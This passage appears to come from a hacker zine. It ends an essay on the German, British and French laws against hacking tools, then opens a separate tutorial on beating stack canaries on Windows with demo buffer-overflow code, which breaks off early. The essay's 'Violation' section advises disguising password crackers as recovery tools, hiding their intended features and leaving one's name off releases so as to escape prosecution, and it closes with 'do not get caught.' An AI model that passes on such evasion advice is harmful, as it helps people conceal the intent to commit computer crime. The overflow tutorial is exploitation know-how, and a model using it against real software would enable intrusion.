On May 23 2007, the Bundestag passed a law titled
"Strafrechts„nderungsgesetzes zur Bek„mpfung der Computerkriminalit„t"
which effected a number of laws in the German criminal code. As I cannot
read German at all, I was only barely able to get an understanding of much
of it through online translators. I will keep my discussion to a minimum
and not explain the intricacies of German hacking law. Also, that was the
first draft, so parts of it may have changed.

10.1 Theory and explanation

The bill explains itself in part as follows:

"Die immer staerkere Verbreitung und Nutzung von Informations- und
Kommunikationstechnologien, insbesondere die Nutzung des Internets, wirken
sich unmittelbar auf alle Bereiche der Gesellschaft aus. Die Einbeziehung
von Telekommunikations- und Informationssystemen, die eine
entfernungsunabhaengige Speicherung und šbertragung von Daten aller Art
gestatten, bieten ein breites Spektrum neuer Moeglichkeiten, aber auch des
Missbrauchs. Insbesondere komplexe Attacken gegen moderne
Informationsstrukturen durch Computerviren, digitale trojanische Pferde,
logische Bomben oder Wuermer und Denial-of-Service-Attacken verursachen
hohe Schaeden. Auch kriminelle, extremistische und terroristische Gruppen
nutzen moderne Informations- und Kommunikationstechnologien verstaerkt
fuer ihre Zwecke. Computerkriminalitaet weist schon seit laengerem
internationale Dimensionen auf. Insbesondere das weltumspannende Internet
stellt eine neue Herausforderung fuer Strafverfolgungsbehoerden im In- und
Ausland dar. Gerade im Internet werden die Taten vielfach
grenzueberschreitend begangen, was als Folge die Lokalisierung und
Identifizierung von Straftaten erschwert. Haeufig nutzen dabei Straftaeter
auch Unterschiede in den nationalen Rechtsordnungen aus, um der
Strafverfolgung und Bestrafung zu entgehen oder diese zumindest erheblich
zu behindern. Daher wurden in den letzten Jahren sowohl im Rahmen des
Europarates als auch auf Ebene der Europaeischen Union strafrechtsbezogene
Rechtsinstrumente beschlossen, die der Bekaempfung der
Computerkriminalitaet dienen"

In this they describe an understanding of the changes brought by the
internet and the diversity of attack issues. They refer to both the
Council of Europe and the European Union.

10.2 Hacking tools

Among many other things in the bill, there is an anti-exploit/anti-hacking
tool provision. Here it is, in the section "Vorbereiten des Ausspaehens
und Abfangens von Daten".

"2. Zudem enthaelt das Europarat-Uebereinkommen in Artikel 6 Abs. 1
Buchstabe a Nr. i die Vorgabe, das Herstellen, Verkaufen, Beschaffen
zwecks Gebrauchs, Einfuehren, Verbreiten oder anderweitige
Verfuegbarmachen einer Vorrichtung einschließlich eines
Computerprogramms, die in erster Linie dafuer ausgelegt oder hergerichtet
worden ist, bestimmte Computerstraftaten zu begehen, als Straftat
auszugestalten. Zwar sieht das Europaratuebereinkommen in Artikel 6 Abs. 3
die Moeglichkeit vor, einen Vorbehalt gegen diese Vorgabe einzulegen. Von
der Vorbehaltsmoeglichkeit soll aber nur hinsichtlich des Merkmals
"Vorrichtung" Gebrauch gemacht werden. Die Erstreckung der
Strafbarkeit auf die uebrigen Vorbereitungshandlungen ist dagegen
sachgerecht. Diese Verhaltensweisen werden strafrechtlich zwar bereits als
Beihilfehandlung (õ 27 StGB) im Fall der tatsaechlichen Begehung einer
Straftat nach § 202a Abs. 1 StGB erfasst. Das strafwuerdige Unrecht wird
damit aber nicht ausreichend beruecksichtigt. Kommt es nicht zur Begehung
der Haupttat des § 202a Abs. 1 StGB, laege nur eine nicht strafbare
versuchte Beihilfe vor. Fuer ein Strafbeduerfnis spricht die hohe
Gefaehrlichkeit solcher Tathandlungen. Erfasst werden insbesondere die so
genannten Hacker-Tools, die bereits nach der Art und Weise ihres Aufbaus
darauf angelegt sind, illegalen Zwecken zu dienen und die aus dem Internet
weitgehend anonym geladen werden koennen. Insbesondere die durch das
Internet moegliche weite Verbreitung und leichte Verfuegbarkeit der
Hacker-Tools sowie ihre einfache Anwendung stellen eine erhebliche Gefahr
dar, die nur dadurch effektiv bekaempft werden kann, dass bereits die
Verbreitung solcher an sich gefaehrlichen Mittel unter Strafe gestellt
wird. Daher wird in Absatz 1 Nr. 2 vorgeschlagen, die Vorbereitung einer
Straftat nach §§ 202a und 202b StGB durch Herstellen, Verschaffen,
Verkaufen, ueberlassen, Verbreiten oder sonst Zugaenglichmachen von
Computerprogrammen, deren Zweck die Begehung einer solchen Tat ist, unter
Strafe zu stellen. 3. Eine Einschraenkung des Absatzes 1 Nr. 2 soll - in
Anlehnung an § 263a Abs. 3 StGB - dadurch erreicht werden, dass bereits
im objektiven Tatbestand auf die Bestimmung des Computerprogramms als
Mittel zur Begehung einer Straftat nach §§ 202a und 202b StGB abgestellt
wird, um eine Ueberkriminalisierung zu verhindern. Es kommt insoweit auf
die (objektivierte) Zweckbestimmung des Programms an. Somit ist
sichergestellt, dass nur Hacker-Tools erfasst werden und die allgemeinen
Programmier-Tools, -Sprachen oder sonstigen Anwendungsprogramme bereits
nicht unter den objektiven Tatbestand der Strafvorschrift fallen. Das
Programm muss aber nicht ausschlieálich fuer die Begehung einer
Computerstraftat bestimmt sein. Es reicht, wenn die objektive
Zweckbestimmung des Tools auch die Begehung einer solchen Straftat ist. 4.
Der Tatbestand ist bereits dann erfuellt, wenn sich die Tathandlung auf
nur ein Passwort oder einen sonstigen Sicherungscode oder auf nur ein
Computerprogramm bezieht. Die Verwendung des Plurals hat lediglich
sprachliche Grnde und erfolgt in Angleichung an andere Tatbestaende, mit
denen Vorbereitungshandlungen unter Strafe gestellt werden (z. B. § 149
Abs. 1, § 263a Abs. 3 und § 275 Abs. 1 StGB). Auch dort wird der Plural
fuer die Tatobjekte verwendet, obwohl nicht ausschließlich die Mehrzahl
gemeint ist. Aus der Verwendung des Plurals sind keine begrifflichen
Folgerungen zu ziehen (vgl. RGSt 55, 101, 102; BGHSt 23, 46, 53; BGHSt 46,
147, 153). 5. Von der Moeglichkeit, einen Vorbehalt gegen die Vorgabe in
Artikel 6 Abs. 1 des Europarat-šbereinkommens hinsichtlich der weiteren
Tathandlung des Besitzes einzulegen, soll Gebrauch gemacht werden. Bei der
Hinterlegung der Ratifikationsurkunde wird daher eine Erklaerung nach
Artikel 40, 42 des šbereinkommens abgegeben werden, nach der Artikel 6
Abs. 1 des šbereinkommens nur teilweise angewendet wird. 6. Absatz 2
enthaelt durch den Verweis auf § 149 Abs. 2 und 3 StGB den
Strafaufhebungsgrund der taetigen Reue. Dieser soll wie bei den §§ 152a,
152b, 263a, 275 und 276a i.V.m. 275 StGB auch auf die Faelle des § 202c
Abs. 1 StGB Anwendung finden."

In writing this part (like many others) they specifically refer to the
Council of Europe's Convention on Cybercrime. The specific wording on the
anti-tool provision is "durch Herstellen, Verschaffen, Verkaufen,
ueberlassen, Verbreiten oder sonst Zugaenglichmachen von
Computerprogrammen, deren Zweck die Begehung einer solchen Tat ist, unter
Strafe zu stellen." Also, the Germans establish a system of how the tool
does not need to be exclusively designed for that purpose, but one of its
objective reasons for creation was to violate a law.

The German hacking group Phenoelit provided this translation of part of
the new law on their website:

[http://www.phenoelit.de/202/202.html]

"Whoever prepares a crime according to õ202a or õ202b and who creates,
obtains or provides access to, sells, yields, distributes or otherwise
allows access to passwords or other access codes, that allow access to
data or computer programs whose aim is to commit a crime will be punished
with up to one year jail or a fine."

10.3 Commentary

Look somewhere else. I will only make simple comments and leave full or
partial analysis of the German bill to someone who can read German.

You may find this interview useful:
[http://crime-research.org/interviews/Interview-Germany-and-new-cybercrime-law/]

The bill itself comes across as fairly professional, well-explained
(conceptually, I can say nothing of language), and well-thought. They
honestly discuss the issues and how they came to decisions on those
issues.

The German bill is a big step up from the French bill, as it is clear and
well-promoted. It is a step up from the British bill again because it was
produced independently, but also because it is willing to refer to, and
build off of, the Convention on Cybercrime. It is notable that while
Germany has not ratified the Convention on Cybercrime, they have now taken
impressive action based off of it. 


11. The Pattern - legislation against hacking utilities

11.1 The new order

As you may have noticed, I have drawn specific attention, in all three
European countries I have addressed, to legal provisions against hacking
tools and exploits. The first generation of hacking laws, such as the US
Computer Fraud and Abuse Act and the British Computer Misuse Act 1990,
were designed to form a base of law, so that authorities could stop
convicting persons based on traditional fraud, vandalism, trespassing, and
other laws. This "first generation" took a long time to establish itself,
but currently much of the developed world has laws along these lines. Our
current trend of second generation law is designed to go beyond that to
limit the abilities of people committing the original violations, and this
is a fresh trend.

Hacking crimes are difficult to investigate and prove. Currently many
countries lack quality organizations with the abilities required to do so.
Almost all hacking goes entirely unpunished. 

Most hacking that is happening, including the most blatant and damaging
hacking, is happening at the hands of people who are not capable of
designing the technology to do so themselves. This makes sense, since most
of the quality tools and techniques that are better than the state of
existing technology (their targets) are developed by a small set of
people, while the set of people who could use those tools and techniques
is much larger. If you give knives to enough monkeys, some of them might
go wild and start cutting.

Saying that the people creating, modifying, selling, or distributing tools
are not doing damage, it is the people using them who are; is like saying
that people creating, modifying, selling, or distributing drugs are not
doing damage, it is the people using them who are. At the most outward
level this is true for both statements. Yet, by making something possible
and intending to do so, one has to accept some responsibility for the
consequences of what happens. Regardless, the law has to deal with
negative issues in whatever way is left available to it.

Frankly, if making hacking utilities illegal is what they have to do, then
that is what governments will do. Regardless of whether you think it is
right or fair, this is what is going to happen. And this does need to be
done for the sake of societies that are finding themselves increasingly
obligated to use computers, while criminals are becoming increasingly
talented at abusing avenues of attack against those societies through
computers. 

Many exploits are written specifically to offer access to a computer as
easily as possible. This is not for the sake of research. Many exploits
are written to show off or establish oneself. Again, this is not
necessary. If you write a hacking tool that allows access, or steals
information, with no other plan in mind, then no, that will not be
considered research, and you will be prosecuted if it causes enough
damage.

If you are going to pass off your devices as "research", then make sure
you include them in a paper that explains the new work that you are doing,
and how it progresses computer security. Writing yet another buffer
overflow exploit for an application lacking bounds checking is not going
to qualify.

This will not kill security. Security research will not suddenly die off.
It might lean much more in the direction that the rest of electronic
research is going: to companies, governments, and universities. Research
will happen in labs, and this research will not involve releasing a
damaging tool that any moron can use to attack the well-being of hundreds
of people. Research will still happen at the desk in your basement, but it
probably will not involve you presenting your "findings" to FD to make a
name for yourself.

Like every other area of technology; companies, governments, and
universities will realize that they need to take the lead in security.
Talented people will still be hired, and will still find vulnerabilities,
and research will happen. And it will happen at Microsoft, at Cisco, and
at IBM. Improvements will sift their way down to regular people. The
entire process will be much slower, but it will happen with fewer
casualties.

This might not benefit those of us using or providing public tools, and it
might not benefit select whitehats who make a living off of anarchy,
confusion, and destruction, but it will benefit the vast majority of
people.

Security and safety are two different things. My house might not even be
in league with a police complex in Iraq when it comes to security. But it
is much safer.

People might not be more secure immediately, but they will be safer. And
from the perspective of any legal body, that counts.

11.2 Perl, ping, and nmap

One or more of these come up everywhere I look on the topic of legislation
against hacking tools. People use them as examples as to why the new law
they are discussing is stupid or impossible to use. Let's take a look at
this claim, and to do so we will use the original Misuse of Devices
article from the Convention on Cybercrime.

"Each Party shall adopt such legislative and other measures as may be
necessary to establish as criminal offences under its domestic law, when
committed intentionally and without right: the production, sale,
procurement for use, import, distribution or otherwise making available
of: a device, including a computer program, designed or adapted primarily
for the purpose of committing any of the offences established in
accordance with Articles 2 through 5;"

Look at the words "designed or adapted primarily". Is there any evidence
at all that Perl was designed for hacking? Just because it is useful does
not make it so. Of all the information provided about Perl when it was
released, nothing talked about breaking those laws. Have the developers
who have adapted it done so primarily for use in hacking? I really doubt
it, and we have no evidence to suggest so. Good luck proving guilt beyond
a reasonable doubt.

Was ping designed to hack? Come on. I really, really, doubt it. Yes,
people can use it to try to find out if a target box is online, and then
decide to hack it. But you would have a very tough case trying to suggest
that that was in the mind back in the 1980s.

Nmap and its author, Fyodor, are decent examples. People can use nmap to
gather crucial information about a host as part of an attack strategy.
However, all that matters (whether or not we use it for that, or whether
or not it is good for that purpose), in Fyodor's case, is whether he
designed it or adapted it primarily for this purpose. Maybe he just needed
a tool to find out whether his host had certain services available or not,
services that he would legitimately use. So how do we find out? In this
case it is easy. Let's read his Phrack articles!

[http://phrack.org/issues.html?issue=51&id=11#article]

His first one, in Phrack 51, states: "These ports represent potential
communication channels.  Mapping their existence facilitates the exchange
of information with the host, and thus it is quite useful for anyone
wishing to explore their networked environment, including hackers."

Well now, that isn't so bad. However, let's take some quotes from the
article:

- "Scanning, as a method for discovering exploitable communication
   channels" # The reason we need scanning for...
- "Some people think UDP scanning is lame and pointless.  I usually remind
   them of the recent Solaris rcpbind hole." # Why he built in UDP
   scanning...
- "struct in_addr *victim" # The other box is going to be victimized...

I'm nitpicking, and those could be just coincidences. Overall, he really
just talks about scanning, and not so much why. However, on to his other
article, in Phrack 54.

[http://phrack.org/issues.html?issue=54&id=9#article]

His first point under "REASONS":

"I think the usefulness of determining what OS a system is running is
pretty obvious, so I'll make this section short.  One of the strongest
examples of this usefulness is that many security holes are dependent 
on OS version. Let's say you are doing a penetration test and you find 
port 53 open. If this is a vulnerable version of Bind, you only get one
chance to exploit it since a failed attempt will crash the daemon. 
With a good TCP/IP fingerprinter, you will quickly find that this 
machine is running 'Solaris 2.51' or 'Linux 2.0.35' and you can adjust
your shellcode accordingly."

In fact, of the four points he gives, only the fourth does not violate the
law. So there you go. Even if he didn't design nmap primarily for the
purpose of committing any offence, he certainly adapted it in this case
primarily to do so. Well, that would be for the courts to argue. 

Ultimately, after you cut the shit, Fyodor wrote a scanner to help
identify services for the purpose of hacking in. He did this, and he
explained all of it through a public source, and he released it through a
public source for anyone to use, for that purpose. Did he break the new
law? Yes, probably. Did he mean to cause a lot of damage? No, probably
not. Did he act recklessly or without regard for the eternal consequences
of his actions? In a legal sense, probably. 

A tool as good as nmap would have been developed and released eventually,
sure. But Fyodor was the one who bit the bullet and did so. 

Most laws cannot cover something that is deemed always wrong. Murder,
rape, theft, these are exceptions. Digital crime? Many areas of action can
be entirely criminal, entirely legal, or somewhere in between. In these
cases either the judiciary or the legislative body will ultimately derive
a general line.

I'm not advocating arresting Fyodor, nor do I think it will happen. I'm
not saying that the case would seem legitimate enough to survive. I also
did not point out the legal variations in the different forms of the law
(i.e. England, France, and Germany) as they apply to his case. But, of all
people, this is the best example slashdot whores can think of to attack
these laws?

My entire point is that it really isn't absurd to think of releasing nmap
as against the law. Using him as an example of how absurd these laws are
is really just revealing that a better example does not come to mind. So
even without establishing limitations through case law,
anti-exploit/tools/devices laws are sounding pretty well designed.

11.3 Practical results in Germany

The main reason I went into specifics about England, France, and Germany,
is because they have created new hacking laws. All of them chose to create
anti-exploit clauses. The Council of Europe and the European Union can
only suggest and demand respectively, they cannot actively enforce laws.
It is action in individual countries, like England, France, and Germany,
that leads the development of law.

Germany in particular is in a great position to cause more than its share
of change. Germany hosts many members of some of the world's most
legendary hacking groups, such as THC, TESO, and Phenoelit. Germany, also,
has formed the best national anti-hacking laws of my examples, and
displayed them clearly.

THC, on July 29, 2007, posted the following message on its website
[thc.org]:

"The Hacker's Choice is forced to discontinue several of its projects, as
these might be effected by a new German 'anti-hacking' law. As a
consequence all exploits and many releases have been removed from our web
site. We are sorry."

Out of the "Top 5 Downloaded Papers" and the "Top 5 Downloaded Releases"
on the right of the website, five in total are striked out, removed from
the site.

TESO, well, their website [teso.scene.at] has not been updating in a while
anyways, and currently does not hold content. I have no idea what their
individual or collective perspectives are.

[ UPDATE: Stealth wrote "There is a good chance that I will make some 
  links from previous posts invalid or inaccessible". He then used HTTP 
  basic auth to limit access to EVERYTHING. Good thing most of his work
  is easy to find. ]

Currently the only material at phenoelit.de
[http://www.phenoelit.de/202/202.html] says "Honored visitor of
phenoelit.de. Much to our regret, this site is no longer available in the
form it has been since the late 1990s. It became illegal." and then
explains the new law. However, apparently "someone in the Netherlands"
knows a link to a site where phenoelit.de has been mysteriously mirrored.

Additionally, although less famous, our own rattle has removed much of the
publicly uploaded (from the anonymous ftp days) content from his
awarenetwork.org. Similar to the line of thought that must have come out
of THC, rattle must not want to become some prosecutor's career-helping
bitch because of something like virus source hosted on .aware.

[ UPDATE: Also, Stephen Esser removed a lot of his stuff. I'm sure many
  other less famous people have followed suit. ]

These are all crucial sacrifices from THC, Phenoelit, and .aware. Some
bright people have had to censor the knowledge they distribute. So many of
us have found challenging resources on these sites. We have learned, and
now some of our resources are gone. These are sad moments.

However, application of these laws is not going to result in the death of
learning. Just because groups have removed content from websites doesn't
mean they won't pass it along individually. It's not less illegal, but it
is probably less serious (via potential damage) and also harder to catch.
Also, I don't know how much information any of those groups taught me that
I could not have found myself had I researched it without those resources.
This isn't stopping anyone from learning, although now they may have a bit
less inspiration.

On the other hand, what it has done is take the two most popular (among
many) downloads from THC, THC-Credit and THC-Hydra, off of thc.org. That
doesn't mean they aren't online anymore, but it does mean that old links
to them will not work and that anyone who is not willing to look elsewhere
won't get them. More importantly, it means that the law is having an
impact at the very top. THC and Phenoelit wrote some wicked tools, and now
cannot host them themselves. 

Naturally it would make sense to see virus writers and exploit writers be
effected by this law. However, maybe they are. Maybe some of them have
already stopped releasing easy-to-use exploits. I really do not know.

The point is that already, not even half a year after passing the law in
Germany, it is being taken very seriously. Nobody has even been charged
with it. Notice that Phenoelit does not say "A law passed saying this
material is illegal", they say "It became illegal". This is law. In the
ways that I described law earlier, this is law. Maybe if it stumbles in a
court case, or if the authorities are not serious about enforcing it, then
it might not survive. However, with the care taken in its development, and
the level of attention it has received, we can reasonably expect it to be
enforced.

>From the government's perspective, something has actually been done to
curtail hacking, and now they have the power to take that further.

11.4 The security industry

There has been a lot of complaining about how some of these laws, in their
anti-tool/exploit/device aspects, have somehow failed to include important
provisions excluding the security industry from these laws. I think people
suggesting this are either trying to discredit the laws or simply don't
get it.

These laws may be designed in part specifically to attack damaging aspects
of the security industry. Just because you are not doing something
secretly does not mean you are not part of a problem.

If you are a researcher who releases materials that violate these laws,
saying "But I'm in the Security Industry! I'm one of the good guys! A guy
like me pays me to do this! You can buy our stock!" contains no valid
points for being excluded from the law. Just because an industry exists
taking advantage in a lack of laws, that does not mean that the future
laws should necessarily adapt for this industry or that the industry is
morally right. 

These companies make money off of their reputation. If they can find a
vulnerability in a major piece of software and release (or sell) a working
exploit for it, then they have improved their metaphorical resume. They
are not releasing for the sake of research. They are releasing for the
sake of money. They might do things that could have strong negative 
effects on the safety of thousands of users, and they would do so for the 
money. There is no reason for governments to tolerate this.

Notice that these laws generally say it is illegal to make/sell/etc
exploits for the purpose of committing another crime (access,
interception, DoS, etc). These first crimes are crimes only when done
without right. So, generally, if you write an exploit specifically to
target a computer you have a right to target, such as in your corporate
lab, then that is probably fine. If you then distribute this exploit to
the masses, when it can be assumed that you are aware that it will be used
primarily without right, then you will be breaking the law. 

So you can still research and still provide valuable services over this
research. But it might have to be done more responsibly. The security
industry in some countries may have to change, but that is not a problem a
priori.

I envision the current industry as young and uncurtailed. We are in a very
new field and governments are only starting to regulate it on its own.
There are issues and problems now, and processes will improve these.

Note that above I referred to no legislation in particular, please read
specific national laws to find out just how the above concept may apply or
not apply in those countries.

11.5 The media

If you start looking online for these laws, and like me, do not always
know the names, you could find yourself in a massive media mess. There are
a ton of sites with short commentaries on these laws. Most of them provide
very little real information, and may not even link to the law itself. Few
will go far enough to backlink a week later when the government posts the
law online. Many of them just rephrase what other news sites say. It feels
like one or two people wrote articles on this, and that everyone else has
been mixing and matching what they had to say. Very little content has
been diluted and switched up, and we end up with nothing.

These sites can be misleading or even damaging. They sprout a group of
people who can go around saying that nmap is against the law and that
there is a really stupid law being passed in Britain now. People should
not have to investigate and find a law themselves (let alone have the
legal knowledge to feel confident parsing it). Online media should do its
job and stop trying to make money off of little content and many ads.

I consider it one of the more important aspects of this article that I
actually give the names of pieces of law and links to their online
versions. If you do not trust my judgement or analysis, then I fully
welcome you to make your own. And, further, feel free to take up any
issues with me.

11.6 Violation

I have written a lot about what the law will let you do. It's time for a
piece on how to keep doing what you want, just a bit differently.

Like any other law, intent has to be shown. This isn't easy. Maybe it is
easy when the creator writes Phrack articles about his tool and describes
circumventing security as the reason for it. But if you were to write a
tool, and never explain the reasoning, the prosecutors would have to show
that, by the way the tool works, it was intended to break the law. You are
innocent unless proven guilty. 

Note: the level of intent changes depending on the national law we are
talking about, so please refer to those individually.

Start making your program look and sound like a legitimate tool. Turn your
password cracker into a real password recovery tool. Write your comments
and your documentation as if this is the case. Write that you wrote this
because you could not remember all of your passwords, and sometimes it was
necessary. In Germany that might not be enough, as they just have to show
that cracking other people's passwords was one objective reason for you.

You could try to hide the intended powerful features of your program in a
way that it looks like they were unintended side effects.

There's a difference between THC-Credit being written by THC with such
explicit reasons, and THC-Credit being written by a programmer for a
credit card data processing company as a series of functions to facilitate
his testing.

Or just don't release your tool/exploit. Don't put your name on it. Don't
put it on your website. Investigators might find it very difficult to
prove that you wrote it, let alone wrote it with intent to violate laws.
They might have to catch you transferring it, or admitting that you wrote
it.

Don't be obvious. Right now they can only prosecute a small part of the
infractions they even find. If anyone is going to be owned by these laws,
it could be some whitehat who decides to make a name for himself by
releasing Cisco IOS remote exploitation details at a conference.

11.7 The old order

My 11.1 section might have sounded like a lot was going to change.
Eventually much will change. You don't need to be quite so worried right
now. Change is slow. Change will start by attacking select individuals or
groups. The actual investigating ability of the law enforcement agencies
in Germany and other countries has not necessarily improved. Yet, the
number of people committing these actions might decrease, while how bold
some individuals are will define how much of a share they can take in. As
such it could become easier for prosecutors to make a dent in the quantity
of crime when prosecuting select individuals.

The people who get busted could be the dumb ones or the greedy ones, and
that would make it a lot like other laws.

12 Conclusions

This article has been written as a primer or as an update. Do not consider
it a complete reference. Even within the laws discussed I only described
parts of them, and not in detail. If you plan on taking serious action
based on this advice, read the laws yourself or even consult a lawyer.
Specifically, do not talk shit in IRC, because we are all law noobs.

Legal defences for the internet are still at a very juvenile stage. The
only country that has taken big steps to have solid laws and also to be a
helpful international player is Germany, but only time will tell how
futile they choose to be. They have yet to defend their new laws, or to
have courts uphold them.

Only a handful of countries have passed recent modern legislation, and
they have done so with varying levels of determination and quality. Very
few of these have tested their laws in court, let alone extensively. 

Not all developed nations have competent national authorities. To enforce
a law, a country should give a mandate to an agency, such as the FBI in
the US, ordering them to defend the law, and outlining when to press a
case. Someone has to do it, and someone has to make it a priority.

However, the digital world is still young. Things will change. The changes
in theory and law that have occurred in the last five years will
foreshadow the next fifty. Bit by bit national governments will come
around to taking hacking seriously. Slowly this plowed field of anarchy
will grow patches of green civility. Right now, if there is a legal issue
in one country, a group or individual can usually act through another
instead. Slowly the safe havens will become less safe and less numerous. 

Leading work could happen in the US sometime. The US can consolidate
and/or recreate their national hacking laws after a more advanced European
model. As a signer of the Convention on Cybercrime, they can work
extensively with the European Union and expect the same help in return.
They both have the capabilities to improve their law enforcement agencies.
Together they can establish a very large chunk of the internet population
that lives under decent hacking laws. Yet much needs to be done in every
single country involved.

Some countries seem to even encourage hacking, particularly the powers
that are Russia and China. Maybe they don't have a problem when the
victims are American. However, if major parts of the world can get
themselves on a decent level, pressure can be applied to the others.
Currently, as mentioned before, the US is in no position to expect good
hacking laws from any other country.

Much of the developed world almost lacks computer laws; my own Canada
being an example of such. Similarly, very few countries have shown a
commitment to financing quality enforcement agencies or to training them.
Much of the improvement in the safety of computers and data around the
world will come directly out of a higher standard of basic computer
knowledge. People knowing more and understanding more will include people,
in future generations, in law enforcement agencies, judges, lawyers,
juries, and governments.

Right now, the legal situation as it stands is almost universally weak or
can only be practiced unfairly. It is completely unprepared to handle even
part of the current demands of crime, in almost any way.

More than anything else I have tried to establish that you cannot get an
image of your legal situation just by knowing the written law and reading
it. You have to understand the cases that have supported it or the ways
that it could be fragile. You need to know if prosecutors or law
enforcement officers have been pressured to enforce it. You need to know
where they draw the line on the law. 

These are all things that you cannot really know at this stage. Do not
rely on any loophole in any law. Do not rely on the circumstances being
predictable. Do not rely on the law, and do not get caught.

13.0 Works Cited

All items were referenced in early August and confirmed on August 5, 2007.

"Computer Crime (Applicable laws)." Wikipedia. 
http://en.wikipedia.org/wiki/Computer_crime#Applicable_laws

"Computer Fraud and Abuse Act." United States Department of Justice.
http://www.cybercrime.gov/ccmanual/01ccma.html

"Computer Fraud and Abuse Act." Wikipedia.
http://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act

"Complete list of the Council of Europe's treaties." Council of Europe.
http://conventions.coe.int/Treaty/Commun/ListeTraites.asp?CM=8&CL=ENG

"About Conventions and Agreements in the Council of Europe Treaty
 Series (CETS)." Council of Europe.
http://conventions.coe.int/general/v3IntroConvENG.asp

"Convention on Cybercrime." Council of Europe.
http://conventions.coe.int/Treaty/en/Treaties/Html/185.htm

"Additional Protocol to the Convention on cybercrime, concerning the
 criminalisation of acts of a racist and xenophobic nature committed 
 through computer systems." Council of Europe.
http://conventions.coe.int/Treaty/en/Treaties/Html/189.htm

"Council Framework Decision 2005/222/JHA of 24 February 2005 on attacks
 against information systems." The Council of the European Union.
http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:32005F0222:EN:HTML

"LOI n 2004-575 du 21 juin 2004 pour la confiance dans l'‚conomie
 num‚rique." L'Assembl‚e nationale et le S‚nat.
http://www.legifrance.gouv.fr/WAspad/UnTexteDeJorf?numjo=ECOX0200175L

"Le service public de l'accŠs au droit." Legifrance.
http://www.legifrance.gouv.fr/html/codes_traduits/liste.htm

"Police and Justice Bill." House of Commons.
http://www.publications.parliament.uk/pa/cm200506/cmbills/119/2006119.htm

"Strafrechts„nderungsgesetzes zur Bek„mpfung der Computerkriminalit„t."
 Bundesregierung Entwurf.
http://www.bmj.de/files/-/1317/RegE%20Computerkriminalit%E4t.pdf

"Farewell." Phenoelit.
http://www.phenoelit.de/202/202.html

"Interview: Germany and new cybercrime law." Computer Crime Research Center.
http://crime-research.org/interviews/Interview-Germany-and-new-cybercrime-law/

"The Art of Port Scanning." Fyodor.
http://phrack.org/issues.html?issue=51&id=11#article

"Remote OS detection via TCP/IP Stack FingerPrinting." Fyodor.
http://phrack.org/issues.html?issue=54&id=9#article

"The Hacker's Choice." Van Hauser et al.
http://thc.org
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
[==============================================================================]
[-------[ Beating some counter-exploitation measures on WinNT+ systems ]-------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author:   Nomenumbra/[0x00SEC]
    ################     remember: http://www.bash.org/?753599
     *############*       
       "T######T"


--[ 0x00 ]--------------------------------------------[ Table Of Contents ]-----

  [ 0x00 ] Table Of Contents
  [ 0x01 ] Intro
  [ 0x02 ] IAT overwriting
  [ 0x03 ] Beating ASLR trough global static values and .idata disclosure
  [ 0x04 ] A look at the M$ Pointer hijacking protection api
  [ 0x05 ] Greetings 'n shoutz
  

--[ 0x01 ]--------------------------------------------------------[ Intro ]-----


Welcome, ladies and gentlemen, to this article - aimed at laying out a few 
relatively fresh (and some new) concepts and techniques for exploiting WinNT+ 
systems armed with counter-exploitation techniques. Sure, there are more areas 
to cover concerning this topic, but those have been dealt with, over and over 
again, whilst most of the stuff in this paper is either scarcely documented or 
new. I hope you'll enjoy your read.


--[ 0x02 ]----------------------------------------------[ IAT overwriting ]-----


The following program is a simple demonstration of how canary values work:

------------------------------------------------------------------------[SNIP]--
int main(int argc, char *argv[])
{
  unsigned char canary;        // canary value
  char buffer[256];
  char buffer2[289];
  canary = 0xAB;               // assign value
  memset(buffer,0x00,256);     // zero out the memory
  
  // construct evil buffer
  memset(buffer2,0x90,271);    // 256+12+3 (12+3 bytes is mingw compiler
                               // specific junk on my test box so it seemed)
  memset(buffer2+271,0xAB,1);  // canary
  memset(buffer2+272,0x90,12); // +12 bytes to EIP
  memset(buffer2+284,0xFF,4);  // eip
  strcpy(buffer,buffer2);
  
  if(canary != 0xAB)
  {
    printf("Canary corruption!\n");
    exit(0);
  }
  
  printf("You made it!\n");
  return 0;
}
------------------------------------------------------------------------[/SNIP]-

This is a pretty casual overflow with strcpy(0022FE60,buffer2);

    0022FE60 == start of dest buffer
    0022FF6F == canary location

If we take a look at what is between the end of the buffer (0022FF60) and the 
canary location (0022FF6F), we get the following dump:

    0022FF60  AD AE C0 77 38 07 91 7C  ­®Àw8‘|
    0022FF68  FF FF FF FF A8 FF 22     ÿÿÿÿšÿ"

Now, 0x77C0AEAD is a memory address in msvcrt.dll and 0x7C910738 is a memory 
address in ntdll.dll - but they reference nothing in particular, so my guess is 
this is just mingw-specific junk, which we'll ignore. The main point is: Dealing 
with static canaries is trivial, as demonstrated above. But what if we used a 
randomized canary? Let's look at a slightly modified example:

------------------------------------------------------------------------[SNIP]--
int main(int argc, char *argv[])
{
  unsigned char saved_canary;
  unsigned char canary;
  char buffer[256];
  char buffer2[289];  
  srand(GetTickCount());
  saved_canary = (unsigned char)(rand()%0xFF);
  canary = saved_canary;
  memset(buffer,0x00,256);
  memset(buffer2,0x90,270);    // 256+12+2
  memset(buffer2+270,0xAB,1);  // canary
  memset(buffer2+271,0xAB,1);  // saved_canary
  memset(buffer2+272,0x90,12); // space in between
  memset(buffer2+284,0xFF,4);  // eip
  strcpy(buffer,buffer2);  	
  if(canary != saved_canary)
  {
    printf("Canary corruption!\n");
    exit(0);
  }
  printf("You made it!\n");
  return 0;
}
------------------------------------------------------------------------[/SNIP]-


As we can see, the canary value is compared to a saved_canary value, which makes 
this implementation downright stupid: The saved_canary can trivially be 
overwritten as well. Now what if we localize the saved_canary value somewhere 
else? Like this for example?


------------------------------------------------------------------------[SNIP]--
unsigned char saved_canary;

int main(int argc, char *argv[])
{
  unsigned char canary;
  char buffer[256];

  /* ... */
------------------------------------------------------------------------[/SNIP]-

Well, this can be solved by overwriting with a really long buffer:

    buffer address = 0x0022FE60
    saved_canary address = 0x00404060
    diff = 0x1D4200

Hence, buffer+diff = saved_canary. Note that this only works when all memory in
between is writable. However, memory isn't always writable, and a static NULL 
byte canary might be used.

In these situations, on Linux platforms, we can help ourselves with GOT
overwriting. For those unfamiliar with the attack, I'll give a short example.
Imagine the following app:
